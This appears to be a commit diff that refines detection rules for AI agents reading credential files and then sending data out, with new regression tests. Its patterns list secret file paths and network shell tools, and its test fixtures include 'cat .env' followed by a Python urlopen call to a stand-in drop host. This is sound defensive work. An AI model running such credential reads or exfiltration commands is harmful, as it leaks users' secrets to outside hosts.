Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

rules: stop search patterns and local one-liners counting as reads and egress

Claude54999b0931cb
diff --git a/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml b/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml
index dddf3340..8264bc73 100644
--- a/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml
+++ b/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml
@@ -29,7 +29,7 @@ correlation:
e.file.path.matches("(\\.env|credentials|id_rsa|\\.aws/|\\.ssh/|secrets?)")
) || (
e.event.action == "command.executed" &&
- e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip|grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])")
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
)
- id: egress
match: >
@@ -40,7 +40,7 @@ correlation:
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(nc|ncat|netcat|socat)\\s+\\S") ||
e.command.command.matches("/dev/(tcp|udp)/") ||
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(scp|sftp|rsync)\\s[^;&|\\n]*\\s[\\w.@-]+:") ||
- e.command.command.matches("(?i)\\b(python[0-9.]*|node|deno|bun|ruby|perl|php)\\s+(-c|-e|-r)\\s[^\\n]*(requests\\.(post|put|get)|urllib|urlopen|http\\.client|socket\\.|fetch\\(|https?\\.request|net/http|net::http|lwp|fsockopen)") ||
+ e.command.command.matches("(?i)\\b(python[0-9.]*|node|deno|bun|ruby|perl|php)\\s+(-c|-e|-r)\\s[^\\n]*(requests\\.(post|put|get|patch|request)\\(|urllib\\.request|urlopen\\(|http\\.client\\.|socket\\.create_connection\\(|\\.connect\\(\\(|fetch\\(|https?\\.(request|get)\\(|net::http\\.(get|post|start)|lwp::|fsockopen\\()") ||
e.command.command.matches("(?i)\\bgh\\s+gist\\s+create\\b") ||
e.command.command.matches("(?i)\\b(aws\\s+s3\\s+(cp|sync|mv)|gsutil\\s+(-m\\s+)?(cp|rsync|mv)|gcloud\\s+storage\\s+(cp|rsync|mv)|az\\s+storage\\s+blob\\s+upload)\\b") ||
e.command.command.matches("(?i)\\b(invoke-webrequest|invoke-restmethod|iwr|irm)\\b[^\\n]*https?://")
@@ -190,3 +190,47 @@ tests:
event: { action: command.executed }
command: { command: "scp a.txt b.txt" }
session: { id: s1 }
+ - name: search_then_curl_not_exfil
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "rg credentials src" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "curl -s https://example.com/docs" }
+ session: { id: s1 }
+ - name: dotenv_then_local_urllib_parse
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat .env" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "python3 -c \"import urllib.parse; print(urllib.parse.quote('a b'))\"" }
+ session: { id: s1 }
+ - name: dotenv_then_local_socket_hostname
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat .env" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "python3 -c \"import socket; print(socket.gethostname())\"" }
+ session: { id: s1 }
+ - name: dotenv_then_urlopen
+ verdict: match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat .env" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "python3 -c \"import urllib.request as u; u.urlopen('https://drop.example', data=b'x')\"" }
+ session: { id: s1 }
diff --git a/rules/context-exfiltration/browser-session-read-then-egress.rule.yaml b/rules/context-exfiltration/browser-session-read-then-egress.rule.yaml
index 87b81120..97aab3f1 100644
--- a/rules/context-exfiltration/browser-session-read-then-egress.rule.yaml
+++ b/rules/context-exfiltration/browser-session-read-then-egress.rule.yaml
@@ -36,7 +36,7 @@ correlation:
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(nc|ncat|netcat|socat)\\s+\\S") ||
e.command.command.matches("/dev/(tcp|udp)/") ||
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(scp|sftp|rsync)\\s[^;&|\\n]*\\s[\\w.@-]+:") ||
- e.command.command.matches("(?i)\\b(python[0-9.]*|node|deno|bun|ruby|perl|php)\\s+(-c|-e|-r)\\s[^\\n]*(requests\\.(post|put|get)|urllib|urlopen|http\\.client|socket\\.|fetch\\(|https?\\.request|net/http|net::http|lwp|fsockopen)") ||
+ e.command.command.matches("(?i)\\b(python[0-9.]*|node|deno|bun|ruby|perl|php)\\s+(-c|-e|-r)\\s[^\\n]*(requests\\.(post|put|get|patch|request)\\(|urllib\\.request|urlopen\\(|http\\.client\\.|socket\\.create_connection\\(|\\.connect\\(\\(|fetch\\(|https?\\.(request|get)\\(|net::http\\.(get|post|start)|lwp::|fsockopen\\()") ||
e.command.command.matches("(?i)\\bgh\\s+gist\\s+create\\b") ||
e.command.command.matches("(?i)\\b(aws\\s+s3\\s+(cp|sync|mv)|gsutil\\s+(-m\\s+)?(cp|rsync|mv)|gcloud\\s+storage\\s+(cp|rsync|mv)|az\\s+storage\\s+blob\\s+upload)\\b") ||
e.command.command.matches("(?i)\\b(invoke-webrequest|invoke-restmethod|iwr|irm)\\b[^\\n]*https?://")
diff --git a/rules/context-exfiltration/env-dump-piped-to-network.rule.yaml b/rules/context-exfiltration/env-dump-piped-to-network.rule.yaml
index 51282d1a..d1b80081 100644
--- a/rules/context-exfiltration/env-dump-piped-to-network.rule.yaml
+++ b/rules/context-exfiltration/env-dump-piped-to-network.rule.yaml
@@ -19,7 +19,7 @@ match: >
e.event.action == "command.executed" &&
e.command.command.matches("(?i)(^|[;&|`(]|\\$\\()\\s*(env|printenv|set|export\\s+-p)\\b") &&
e.command.command.matches("\\|") &&
- e.command.command.matches("(?i)(\\b(curl|wget)\\b.*(-d|--data|--data-binary|-F|--form|--upload-file|-T|--post-file|--post-data)\\b|\\bnc\\b\\s+|\\bncat\\b|\\bsocat\\b|/dev/(tcp|udp)/|\\bgh\\s+gist\\s+create\\b|\\b(python[0-9.]*|node)\\s+-[ce]\\b[^\\n]*(requests|urllib|urlopen|fetch\\(|https?\\.request))")
+ e.command.command.matches("(?i)(\\b(curl|wget)\\b.*(-d|--data|--data-binary|-F|--form|--upload-file|-T|--post-file|--post-data)\\b|\\bnc\\b\\s+|\\bncat\\b|\\bsocat\\b|/dev/(tcp|udp)/|\\bgh\\s+gist\\s+create\\b|\\b(python[0-9.]*|node)\\s+-[ce]\\b[^\\n]*(requests\\.(post|put)\\(|urllib\\.request|urlopen\\(|fetch\\(|https?\\.request\\())")
emit:
reason: "Process environment dumped and piped to an outbound network command"
diff --git a/rules/context-exfiltration/secret-read-then-destructive.rule.yaml b/rules/context-exfiltration/secret-read-then-destructive.rule.yaml
index 788510ae..f0209d63 100644
--- a/rules/context-exfiltration/secret-read-then-destructive.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-destructive.rule.yaml
@@ -55,7 +55,7 @@ correlation:
)
) || (
e.event.action == "command.executed" &&
- e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip|grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])")
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
)
- id: recursive_delete
match: >
diff --git a/rules/context-exfiltration/secret-read-then-egress.rule.yaml b/rules/context-exfiltration/secret-read-then-egress.rule.yaml
index dddf3340..8264bc73 100644
--- a/rules/context-exfiltration/secret-read-then-egress.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-egress.rule.yaml
@@ -29,7 +29,7 @@ correlation:
e.file.path.matches("(\\.env|credentials|id_rsa|\\.aws/|\\.ssh/|secrets?)")
) || (
e.event.action == "command.executed" &&
- e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip|grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])")
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
)
- id: egress
match: >
@@ -40,7 +40,7 @@ correlation:
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(nc|ncat|netcat|socat)\\s+\\S") ||
e.command.command.matches("/dev/(tcp|udp)/") ||
e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(scp|sftp|rsync)\\s[^;&|\\n]*\\s[\\w.@-]+:") ||
- e.command.command.matches("(?i)\\b(python[0-9.]*|node|deno|bun|ruby|perl|php)\\s+(-c|-e|-r)\\s[^\\n]*(requests\\.(post|put|get)|urllib|urlopen|http\\.client|socket\\.|fetch\\(|https?\\.request|net/http|net::http|lwp|fsockopen)") ||
+ e.command.command.matches("(?i)\\b(python[0-9.]*|node|deno|bun|ruby|perl|php)\\s+(-c|-e|-r)\\s[^\\n]*(requests\\.(post|put|get|patch|request)\\(|urllib\\.request|urlopen\\(|http\\.client\\.|socket\\.create_connection\\(|\\.connect\\(\\(|fetch\\(|https?\\.(request|get)\\(|net::http\\.(get|post|start)|lwp::|fsockopen\\()") ||
e.command.command.matches("(?i)\\bgh\\s+gist\\s+create\\b") ||
e.command.command.matches("(?i)\\b(aws\\s+s3\\s+(cp|sync|mv)|gsutil\\s+(-m\\s+)?(cp|rsync|mv)|gcloud\\s+storage\\s+(cp|rsync|mv)|az\\s+storage\\s+blob\\s+upload)\\b") ||
e.command.command.matches("(?i)\\b(invoke-webrequest|invoke-restmethod|iwr|irm)\\b[^\\n]*https?://")
@@ -190,3 +190,47 @@ tests:
event: { action: command.executed }
command: { command: "scp a.txt b.txt" }
session: { id: s1 }
+ - name: search_then_curl_not_exfil
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "rg credentials src" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "curl -s https://example.com/docs" }
+ session: { id: s1 }
+ - name: dotenv_then_local_urllib_parse
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat .env" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "python3 -c \"import urllib.parse; print(urllib.parse.quote('a b'))\"" }
+ session: { id: s1 }
+ - name: dotenv_then_local_socket_hostname
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat .env" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "python3 -c \"import socket; print(socket.gethostname())\"" }
+ session: { id: s1 }
+ - name: dotenv_then_urlopen
+ verdict: match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat .env" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "python3 -c \"import urllib.request as u; u.urlopen('https://drop.example', data=b'x')\"" }
+ session: { id: s1 }
diff --git a/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml b/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml
index 29a26aaf..fa198a45 100644
--- a/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml
@@ -31,7 +31,7 @@ correlation:
)
) || (
e.event.action == "command.executed" &&
- e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip|grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])")
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
)
- id: external_mcp
match: >
diff --git a/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml b/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml
index e2473975..e98ccb42 100644
--- a/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml
@@ -45,7 +45,7 @@ correlation:
)
) || (
e.event.action == "command.executed" &&
- e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip|grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])")
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
)
- id: mcp_handoff
match: >
diff --git a/rules/credential-access/credential-file-read.rule.yaml b/rules/credential-access/credential-file-read.rule.yaml
index e3b5309b..7f9ba495 100644
--- a/rules/credential-access/credential-file-read.rule.yaml
+++ b/rules/credential-access/credential-file-read.rule.yaml
@@ -39,7 +39,7 @@ match: >
)
) || (
e.event.action == "command.executed" &&
- e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip|grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])")
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
)
emit:
@@ -160,3 +160,33 @@ tests:
- event: { action: file.read }
file: { path: "deploy/docker/config.yaml" }
session: { id: s1 }
+ - name: search_pattern_credentials_not_a_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "grep -rn credentials src/" }
+ session: { id: s1 }
